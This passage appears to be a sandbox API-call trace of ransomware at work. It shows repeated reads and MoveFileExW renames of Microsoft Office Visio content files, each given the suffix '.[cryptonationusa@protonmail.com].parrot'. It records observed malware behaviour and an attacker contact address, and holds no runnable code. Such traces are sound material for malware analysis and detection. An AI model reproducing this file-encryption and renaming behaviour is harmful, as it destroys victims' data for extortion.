| out: lpNewFilePointer=0x0) returned 1 [0214.765] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb800, lpOverlapped=0x0) returned 1 [0214.768] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CAUSEF_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\causef_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CAUSEF_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\causef_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.775] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.775] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.777] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.777] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14000, lpOverlapped=0x0) returned 1 [0214.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CAUSEF_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\causef_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CAUSEF_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\causef_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.840] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.840] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.841] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.842] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb400, lpOverlapped=0x0) returned 1 [0214.844] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CAUSEF_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\causef_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CAUSEF_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\causef_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.851] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.851] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.853] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.853] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13c00, lpOverlapped=0x0) returned 1 [0214.854] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CAUSEF_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\causef_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CAUSEF_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\causef_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.864] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.864] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.866] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.866] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf400, lpOverlapped=0x0) returned 1 [0214.868] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CEILPL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ceilpl_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CEILPL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ceilpl_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.888] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.888] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.890] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.890] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf600, lpOverlapped=0x0) returned 1 [0214.892] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CEILPL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ceilpl_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CEILPL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ceilpl_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.905] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.905] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.906] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.907] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x84200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x84200, lpOverlapped=0x0) returned 1 [0214.925] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CHART_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\chart_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CHART_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\chart_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.953] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.953] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.963] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.963] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9400, lpOverlapped=0x0) returned 1 [0214.970] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CHART_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\chart_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CHART_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\chart_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.978] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.978] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.979] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.980] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7d000, lpOverlapped=0x0) returned 1 [0214.990] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CHART_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\chart_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CHART_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\chart_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.015] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.015] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.056] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.057] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9200, lpOverlapped=0x0) returned 1 [0215.064] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CHART_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\chart_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CHART_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\chart_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.072] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.072] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.074] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.074] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18200, lpOverlapped=0x0) returned 1 [0215.075] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMOLE_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comole_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMOLE_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comole_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.089] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.089] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.095] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.095] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7800, lpOverlapped=0x0) returned 1 [0215.097] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMOLE_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comole_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMOLE_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comole_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.106] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.107] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.107] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17800, lpOverlapped=0x0) returned 1 [0215.109] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMOLE_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comole_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMOLE_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comole_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.122] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.122] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.123] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.123] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7600, lpOverlapped=0x0) returned 1 [0215.125] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMOLE_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comole_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMOLE_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comole_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.132] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.132] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.133] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.133] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfc00, lpOverlapped=0x0) returned 1 [0215.135] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMPLN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\compln_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMPLN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\compln_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.144] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.144] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.145] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.146] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf800, lpOverlapped=0x0) returned 1 [0215.148] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMPLN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\compln_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMPLN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\compln_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.158] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.158] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.160] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.160] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3de00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3de00, lpOverlapped=0x0) returned 1 [0215.166] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMPS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comps_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMPS_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comps_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.177] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.179] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.179] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3c400, lpOverlapped=0x0) returned 1 [0215.190] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMPS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comps_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\COMPS_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\comps_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.201] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.201] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.203] SetFilePointerEx (in: 